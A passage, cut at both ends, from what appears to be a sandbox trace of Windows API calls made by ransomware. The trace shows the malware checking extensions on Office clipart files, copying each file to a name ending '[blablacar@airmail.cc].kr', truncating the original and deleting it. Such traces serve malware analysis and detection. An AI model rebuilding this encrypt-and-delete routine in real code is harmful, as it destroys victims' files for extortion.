(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0181.960] lstrlenW (lpString=".dbf") returned 4 [0181.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0181.960] lstrlenW (lpString=".1cd") returned 4 [0181.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0181.960] lstrlenW (lpString=".jpg") returned 4 [0181.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0181.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0181.961] lstrlenW (lpString=".doc") returned 4 [0181.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.961] lstrlenW (lpString=".docx") returned 5 [0181.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.961] lstrlenW (lpString=".pdf") returned 4 [0181.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.961] lstrlenW (lpString=".xls") returned 4 [0181.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.961] lstrlenW (lpString=".xlsx") returned 5 [0181.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.961] lstrlenW (lpString=".ppt") returned 4 [0181.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0181.961] lstrlenW (lpString=".zip") returned 4 [0181.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.961] lstrlenW (lpString=".rar") returned 4 [0181.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.961] lstrlenW (lpString=".bz2") returned 4 [0181.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.961] lstrlenW (lpString=".7z") returned 3 [0181.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0181.961] lstrlenW (lpString=".dbf") returned 4 [0181.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0181.961] lstrlenW (lpString=".1cd") returned 4 [0181.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0181.961] lstrlenW (lpString=".jpg") returned 4 [0181.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.962] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0181.962] lstrlenW (lpString="BL00274_.WMF") returned 12 [0181.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0181.962] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4164) returned 1 [0181.962] CloseHandle (hObject=0x3e8) returned 1 [0181.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x220 [0181.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0181.963] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.963] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0181.964] GetLastError () returned 0x0 [0181.964] ReadFile (in: hFile=0x3e8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1044, lpOverlapped=0x0) returned 1 [0181.965] WriteFile (in: hFile=0x488, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1050, lpOverlapped=0x0) returned 1 [0181.966] ReadFile (in: hFile=0x3e8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0181.966] WriteFile (in: hFile=0x488, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0181.966] SetEndOfFile (hFile=0x488) returned 1 [0181.967] CloseHandle (hObject=0x488) returned 1 [0182.383] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.383] SetEndOfFile (hFile=0x3e8) returned 1 [0182.388] CloseHandle (hObject=0x3e8) returned 1 [0182.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0182.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0183.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0183.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0183.692] lstrlenW (lpString=".doc") returned 4 [0183.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.693] lstrlenW (lpString=".docx") returned 5 [0183.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.693] lstrlenW (lpString=".pdf") returned 4 [0183.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.693] lstrlenW (lpString=".xls") returned 4 [0183.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.693] lstrlenW (lpString=".xlsx") returned 5 [0183.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.693] lstrlenW (lpString=".ppt") returned 4 [0183.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0183.693] lstrlenW (lpString=".zip") returned 4 [0183.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.693] lstrlenW (lpString=".rar") returned 4 [0183.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.693] lstrlenW (lpString=".bz2") returned 4 [0183.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.693] lstrlenW (lpString=".7z") returned 3 [0183.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0183.693] lstrlenW (lpString=".dbf") returned 4 [0183.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0183.693] lstrlenW (lpString=".1cd") returned 4 [0183.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0183.693] lstrlenW (lpString=".jpg") returned 4 [0183.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0183.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0183.693] lstrlenW (lpString=".doc") returned 4 [0183.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.694] lstrlenW (lpString=".docx") returned 5 [0183.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.694] lstrlenW (lpString=".pdf") returned 4 [0183.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.694] lstrlenW (lpString=".xls") returned 4 [0183.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.694] lstrlenW (lpString=".xlsx") returned 5 [0183.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.694] lstrlenW (lpString=".ppt") returned 4 [0183.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0183.694] lstrlenW (lpString=".zip") returned 4 [0183.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.694] lstrlenW (lpString=".rar") returned 4 [0183.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.694] lstrlenW (lpString=".bz2") returned 4 [0183.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.694] lstrlenW (lpString=".7z") returned 3 [0183.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0183.694] lstrlenW (lpString=".dbf") returned 4 [0183.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0183.694] lstrlenW (lpString=".1cd") returned 4 [0183.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0183.694] lstrlenW (lpString=".jpg") returned 4 [0183.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.695] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0183.695] lstrlenW (lpString="BS00186_.WMF") returned 12 [0183.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0183.695] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=12788) returned 1 [0183.695] CloseHandle (hObject=0x518) returned 1 [0183.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220 [0183.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0183.696] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.696] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0183.697] GetLastError () returned 0x0 [0183.697] ReadFile (in: hFile=0x518, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x31f4, lpOverlapped=0x0) returned 1 [0183.698] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x3200, lpOverlapped=0x0) returned 1 [0183.700] ReadFile (in: hFile=0x518, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0183.700] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0183.700] SetEndOfFile (hFile=0x51c) returned 1 [0183.700] CloseHandle (hObject=0x51c) returned 1 [0183.700] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.700] SetEndOfFile (hFile=0x518) returned 1 [0184.014] CloseHandle (hObject=0x518) returned 1 [0184.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0184.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0184.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0184.581] lstrlenW (lpString=".doc") returned 4 [0184.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.581] lstrlenW (lpString=".docx") returned 5 [0184.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.581] lstrlenW (lpString=".pdf") returned 4 [0184.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.581] lstrlenW (lpString=".xls") returned 4 [0184.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.581] lstrlenW (lpString=".xlsx") returned 5 [0184.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.581] lstrlenW (lpString=".ppt") returned 4 [0184.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0184.581] lstrlenW (lpString=".zip") returned 4 [0184.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.581] lstrlenW (lpString=".rar") returned 4 [0184.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.581] lstrlenW (lpString=".bz2") returned 4 [0184.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.582] lstrlenW (lpString=".7z") returned 3 [0184.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0184.582] lstrlenW (lpString=".dbf") returned 4 [0184.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0184.582] lstrlenW (lpString=".1cd") returned 4 [0184.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0184.582] lstrlenW (lpString=".jpg") returned 4 [0184.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0184.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0184.582] lstrlenW (lpString=".doc") returned 4 [0184.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.582] lstrlenW (lpString=".docx") returned 5 [0184.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.582] lstrlenW (lpString=".pdf") returned 4 [0184.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.582] lstrlenW (lpString=".xls") returned 4 [0184.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.582] lstrlenW (lpString=".xlsx") returned 5 [0184.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.582] lstrlenW (lpString=".ppt") returned 4 [0184.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0184.582] lstrlenW (lpString=".zip") returned 4 [0184.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.582] lstrlenW (lpString=".rar") returned 4 [0184.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.582] lstrlenW (lpString=".bz2") returned 4 [0184.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.582] lstrlenW (lpString=".7z") returned 3 [0184.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0184.583] lstrlenW (lpString=".dbf") returned 4 [0184.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0184.583] lstrlenW (lpString=".1cd") returned 4 [0184.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0184.583] lstrlenW (lpString=".jpg") returned 4 [0184.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.583] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.583] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0184.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.592] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=2422) returned 1 [0184.592] CloseHandle (hObject=0x500) returned 1 [0184.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220 [0184.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0185.857] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.857] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0185.863] GetLastError () returned 0x0 [0185.863] ReadFile (in: hFile=0x450, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x976, lpOverlapped=0x0) returned 1 [0185.864] WriteFile (in: hFile=0x540, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x980, lpOverlapped=0x0) returned 1 [0185.865] ReadFile (in: hFile=0x450, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0185.865] WriteFile (in: hFile=0x540, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0185.865] SetEndOfFile (hFile=0x540) returned 1 [0185.865] CloseHandle (hObject=0x540) returned 1 [0185.866] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.866] SetEndOfFile (hFile=0x450) returned 1 [0185.869] CloseHandle (hObject=0x450) returned 1 [0185.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0185.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0185.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0185.878] lstrlenW (lpString=".doc") returned 4 [0185.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.879] lstrlenW (lpString=".docx") returned 5 [0185.879] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0185.879] lstrlenW (lpString=".pdf") returned 4 [0185.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.879] lstrlenW (lpString=".xls") returned 4 [0185.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.879] lstrlenW (lpString=".xlsx") returned 5 [0185.879] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0185.879] lstrlenW (lpString=".ppt") returned 4 [0185.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0185.879] lstrlenW (lpString=".zip") returned 4 [0185.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.879] lstrlenW (lpString=".rar") returned 4 [0185.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.879] lstrlenW (lpString=".bz2") returned 4 [0185.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.879] lstrlenW (lpString=".7z") returned 3 [0185.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0185.879] lstrlenW (lpString=".dbf") returned 4 [0185.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0185.879] lstrlenW (lpString=".1cd") returned 4 [0185.879] lstrcmpiW 